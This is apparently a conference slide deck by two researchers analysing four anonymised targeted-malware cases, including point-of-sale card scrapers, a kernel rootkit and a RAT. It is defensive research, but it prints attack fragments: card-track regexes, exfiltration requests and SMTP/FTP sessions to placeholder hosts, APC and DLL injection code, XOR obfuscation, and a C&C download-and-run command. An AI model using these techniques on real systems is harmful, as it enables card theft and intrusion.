Targeted Malware
Sophisticated Criminals or Babytown Frolics?

Presented by:
Ryan Merritt
Josh Grunzweig
Who We Are

Josh Grunzweig
Security Researcher
Malware Reverser
Dabbles in Ruby
Homebrewer

Ryan Merritt
Security Researcher
Malware Reverser
Electronics Hobbyist
Homebrewer
What Do We Do
What Do We See

Sophisticated Criminal (Spy) vs. Babytown Frolics (Baby)
Housekeeping

• When we say ‘targeted’, what we mean is...
• Anonymize all the things
• Change minor details as in some cases these are ongoing investigations
• Spy vs. Baby
Case Study – “Sandy Squirrel”

**Target:** Point of Sale Systems (Card Data)

**Method of Compromise:** Remote Access Software

**Malware Characteristics:**
- Multiple types of malware targeting card data
- No obfuscation, anti-reversing, or hiding techniques used
- Limited exfiltration capabilities
Victim Machine

Memory Scraper Targeting Cards in Wide Format

Commercial Scraper Targeting Data on Disk

‘Recon’ Tool Targeting Card Data in Memory

‘Recon’ Tool Targeting Card Data in Memory (Running in Loop)

Memory Scraper Targeting Cards in C String Format

Victim Point of Sale System

Targeting Memory | Targeting Disk | Exfiltration
Memory Scrapers

<table>
<thead>
<tr>
<th>Identify CHD Processes</th>
<th>Set Service to Scrape Memory</th>
<th>Exfiltrate Stolen Data</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="image" alt="Cash Register" /></td>
<td><img src="image" alt="Clock" /></td>
<td><img src="image" alt="Credit Card Exfiltration" /></td>
</tr>
</tbody>
</table>

1. Identify CHD Processes
2. Set Service to Scrape Memory
3. Exfiltrate Stolen Data

VISAN

MasterCard

© 2012 Trustwave SpiderLabs
How Memory Scrapers Work

1. Enumerate processes
2. Get handle to each process
3. Iterate through each process' memory
4. Read memory
5. Perform action against that data
Enumerating the Processes

- EnumProcess() • Returns a list of process identifiers (PIIDs).

- CreateToolhelp32Snapshot() • Take snapshot of specified processes, along with heaps, modules and threads.

Perform action against that data
Ir

Ir

Regular Expressions

Enumerate processes

Get handle to each process

Iterate through each process’ memory

Read memory

Perform action against that data
Step 2 – IrRegular Expressions

The Regex: `\?`

What it matches:
- B3421642550030587^ZAPPA/BUDDY^1201101000000193010000008
- 77000000?=3421642550030587=1201101193010877?

What is ALSO matches:
- Hey, anyone know how to write regular expressions?
- How many False Positives will this one create?
- How often does a literal “?” appear in memory?
Step 2 – IrRegular Expressions

The Regex: \d{15,19}=\d{13,}

What it matches:

3421642550030587=1201101193010877

What is ALSO matches:

An equal sign embedded within an sufficient number of null bytes. (or any other number)

...000000000000000000000000=000000000000000000000000000000...
Step 2 – IrRegular Expressions

The Regex:

```
((B(([0-9]{13,16})|([0-9]\s){13,25})\^[A-Z\s0-9]{0,30}\/[A-Z\s0-9]{0,30}\^(0[7-9][1-5])((0[1-9])([1-2]))([0-9]\s){3,50})|(([37]|([4-5]\d[0-9])|60))[0-9]{13,14}(D|=)(0[7-9][1-5])((0[1-9])([1-2]))[0-9]{8,30}))
```

What it matches:

```
B5111572614809361^ROBOTO/PANTERA^12121010000001930100000877000000?; 5111572614809361=1212101193010877?
```

What is **DOES NOT** match:

*Some American Express, most of Diners Club, entire other issuing networks, gift cards, etc...*
Step 3 - Exfiltration

POST /baby/town/frolics.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Host: www.piles_o'cash.com
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/4.0

Track1=1001101110000193010000008770000000?;
&Track2=5222646650504682=1001101193010877?
Commercial Products Used
Final Tally – “Sandy Squirrel”

"Even a blind squirrel can find a nut"
Case Study – “Secret Shenanigans”

**Target:** Defense Contractor

**Method of Compromise:** Malicious Document

**Malware Characteristics:**
- Rootkit installed using customized injector
- Targeted intellectual property
- Exfiltration via third-party hosting service
User Mode vs. Kernel Mode

Kernel mode (ring 0) vs User mode (ring 3)
Running user-mode code from Ring0

• Asynchronous Procedure Call (APC)
  – Function that executes asynchronously in the context of a particular thread

• APC Injection
  – Build APC from rootkit driver
  – Requires thread to be in an Alertable State
  – Dispatch it to run inside the context of a user-mode process (services.exe or svchost.exe)
APC Injection from Kernel Mode

KERNEL MODE (Ring0)

KERNEL

push [ebp+m_services.exe_Thread]
push [ebp+Apc]
call ds:KeInitializeApc
push ebx ; unknown
push ebx ; SystemArgument2
push esi ; SystemArgument1
push [ebp+Apc] ; Apc
call KeInsertQueueApc
test al, al
jnz short loc_106BA

USER MODE (Ring3)

SERVICES.EXE

Push [ebp+Apc], Apc
Call KeInsertQueueApc
Test al, al
Jnz short loc_106BA
Rootkit Injector Source

Old stuff : CreateProcess in kernelmode (2006)

From the "Old stuff" series, here's another one.... when i pioneered CreateProcess from
kernelmode, one of the most obscure inner secrets at those times (2006).

Showtime : *WORKING* CreateProcess in KernelMode!

By: valerino
I don’t think this code needs any comment.
Say welcome to usermode calls in kernel land..... with this technique you can even call
MessageBox from inside your driver.
No more ugly non-working phrack samples, this is the real stuff :)

1) The APC injector

*******************************************************************************
// NTSTATUS UtilInstallUserModeApcForCreateProcess(char* CommandLine, PKTHREAD pTargetThread, PKPROCESS pTargetProcess)
//
// Setup usermode APC to execute a process
*******************************************************************************
NTSTATUS UtilInstallUserModeApcForCreateProcess(char* CommandLine, PKTHREAD pTargetThread, PKPROCESS pTargetProcess)

http://codelaughs.blogspot.com/2012/03/old-stuff-createprocess-in-kernelmode.html
Rootkit Injector Modifications

// and fire it by manually alerting the thread (for reference, this set the KTHREAD.ApcState.KernelApcInProgress)
// beware, this could be not compatible with everything ..... it works on 2k/XP anyway, tested on SP2 too.....
*(unsigned char *)pTargetThread+0x4a)=1;

// apc is fired, wait event to signal completion
KeWaitForSingleObject (pEvent,Executive,KernelMode,FALSE,NULL);

Timeout = (LARGE_INTEGER)-40000000i64;
result = KeWaitForSingleObject(pEvent, 0, 0, 0, &Timeout);
String Obfuscation

```c
char string1[] = { 0xF2, 0xD1, 0xDF, 0xDA, 0xF2,
                  0xD7, 0xDC, 0xCC, 0xDF, 0xCC, 0xC7 };  
int key = 0xBE;                          
int count = 0;                           
do
{                                          
    string1[count] ^= key;               
    printf("%c", string1[count]);       
    count++;                            
} while( count < sizeof(string1) );    
```

Result: LoadLibrary
Blowfish Encryption

- Identification of constants used

```c
parray = [
0x243f6a88L, 0x85a308d3L, 0x13198a2eL, 0x03707344L, 0xa4093822L, 0x299f31d0L,
0x082efa98L, 0xec4e6c89L, 0x452821e6L, 0x38d01377L, 0xbe546cf8L, 0x34e90c6cL,
0xc0ac29b7L, 0xc97c50ddL, 0x3f84d5b5L, 0xb5470917L, 0x9216d5d9L, 0x8979f1bL]
```

Taken from Blowfish implementation –
http://www.4dsolutions.net/cgi-bin/py2html.cgi?script=/ocn/python/blowfish.py
Exfiltration

POST /apiupload?
DESTINATION_DIR=26&UPLOAD_IDENTIFIER=18
43948368.1346279785.233A8FF8.23.0&MAX_FILE_SIZE=314572800 HTTP/1.1
Accept: */*; q=0.5, application/sml
Accept-Encoding: gzip, deflate
Content-Length: 925
Content-Type: multipart/form-data;
boundary=636427
User-Agent: Mozilla/5.0
Host: fs09u.sendspace.com

--636427
Content-Disposition: form-data; name="userfile"
416e1e31e715d7ed4a0b0e66ab28ad60d66f01c2bad
f9fadc599501566af7a80033a152fde66dd97
--636427
Content-Disposition: form-data; name="recipient_email"
attacker@notreal.com
--636427
Content-Disposition: form-data; name="recipient_message"
New message received from 192.168.80.123
--636427--

Encrypt with Blowfish

SendSpace

File Upload
Download Data

Unique URL Sent with Message

Email Server

Get Link

BAD GUY (OR GIRL)

Victim

Get Link

Trustwave
SpiderLabs
Final Tally – “Secret Shenanigans”

Frolics
- Reused Code

Sophisticated Spy Tactics:
- String Obfuscation
- Exfiltration
- Rootkit

Profit:
- $\$$ (Intellectual Property)

Duration:
- 2 years 3 months (~820 days!)

$\$$

LOIC
DDoS

"I'm the attacker they warn you about"
Case Study – “Pirate Piñata”

Target: Point of Sale Systems (Card Data)

Method of Compromise: Exposed Remote Admin

Malware Characteristics:
• Used readily available tools that target card data
• Heavy use of AutoIt
  – Exfiltration via SMTP
  – No anti-reversing techniques in use
  – Limited obfuscation
AutoIt
AutoIt – How to Decompile/Deobfuscate

Compiled BadGuy.exe

Decompiled to Source

Unpack UPX

MD5 PassHash

XOR

Decompress

DeTokenize

Tidy Code

Source Script of BadGuy.exe
AutoIt – Decompiled Output

```autoit
$PRG = "sr.exe"
$INTERVAL = 12
$SMTPSERVER = "smtp.badguys.com"
$FROMNAME = "Justin Case"
$FROMADDRESS = "evil@notreal.com"
$TOADDRESS = "donttryme@hotmail.com"
$SUBJECT = @ComputerName
$BODY = @IPAddress1 & "-" & @IPAddress1
$USERNAME = "evil@notreal.com"
$PASSWORD = "Yn^gU6hK*4t"
$PORT = 25
```
Sr.exe & Searcher.dll

CreateRemoteThread(POS_Handle, 0, 0, LoadLibrary, DLL_String, 0, &ThreadID);
Exfiltration

235 Authentication succeeded
MAIL FROM:<hacker@notreal.com>
  250 OK
RCPT TO:<HopeThisEmailDoesntExist@hotmail.com>
  250 OK
DATA
  354 Enter message, ending with "." on a line by itself
To: ReallyHopeThisEmailDoesntExist@hotmail.com
From: hacker@notreal.com
Subject: Track Data Yo!
Content-Type: text/plain; charset="utf-8"

C:\Windows\system32\Not_track_data.txt:
5111358712736251=1312101193010877
5111580417303748=1112101193010877
5425553797374656D000005300790073007400
2341810803983732=1508101193010877
.

250 OK

Magical Hotmail Cloud

Email Read / Downloaded

Email Sent

BAD GUY (OR GIRL)
"You don’t have to be the sharpest guy in the room to get a piece of the action"
Case Study – “Ewok Tower”

**Target:** Government

**Method of Compromise:** Email Spear-Phishing

**Malware Characteristics:**
- RAT on victim machine
- Anti-reversing techniques
- Unique C&C channel
- Encrypted exfiltration
Anti-Reversing

Checking for Debuggers

Checking Time Deltas

Checking for Sandboxes

rdtsc: Read Timestamp Counter

Norman Sandbox
Anti-Reversing

• Calls to FindWindow() / EnumWindow():

![Image showing various anti-reversing tools]

• Iterates through running processes:

<table>
<thead>
<tr>
<th>Process Name</th>
<th>Handle</th>
<th>Size</th>
<th>Process Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>procexp.exe</td>
<td>3348</td>
<td>12,708K</td>
<td>16,032K</td>
</tr>
<tr>
<td>Procmon.exe</td>
<td>3484</td>
<td>7,236K</td>
<td>9,836K</td>
</tr>
<tr>
<td>ImmunityDebugger.exe</td>
<td>3676</td>
<td>9,820K</td>
<td>8,624K</td>
</tr>
<tr>
<td>OLLYDBG.EXE</td>
<td>4016</td>
<td>6,688K</td>
<td>4,432K</td>
</tr>
<tr>
<td>idaq.exe</td>
<td>1960</td>
<td>29,236K</td>
<td>43,820K</td>
</tr>
</tbody>
</table>
Command and Control (C&C)

Decoded: download_http://malware_not_real.com/badstuff.exe

Command

Option
Other C&C Verbs

- Download <Options>
- Execute <Options>
- Screenshot <Options>
- Upload <Options>
- Delete <Options>
220 FTP Server ready.
USER h4x
331 Password required for h4x.
PASS f34rmyl33th4x0rsk1IIZ
230- Linux ftp.notreal.net Welcome!
230-
230 User h4x logged in.
PASV
227 Entering Passive Mode
STOR /tmp/data
150 FILE: /tmp/data
226 Transfer complete.
Final Tally – “Ewok Tower”

Frolics
- FTP Exfiltration

Sophisticated Spy Tactics:
- C&C Channels
- AES256
- Anti-reversing

Profit:
- $ (difficult to quantify)

Duration:
- ~1 month

Stuxnet Flame Gauss

Ewok Tower

LOIC DDoS

"A few good tricks can go a long way"
That’s It! Thanks!

I’ve got a bunch of virtual windows machines networked together, hooked up to an incoming pipe from the net. They execute email attachments, share files, and have no security patches. Between them they have practically every virus.

There are mail trojans, Warhol worms, and all sorts of exotic polymorphics. A monitoring system adds and wipes machines at random. The display shows the viruses as they move through the network, growing and struggling.

You know, normal people just have aquariums. Good morning, Blaster. Are you and W32.Welchia getting along?

Who’s a good virus? You are! Yes, you are!

http://imgs.xkcd.com/comics/network.png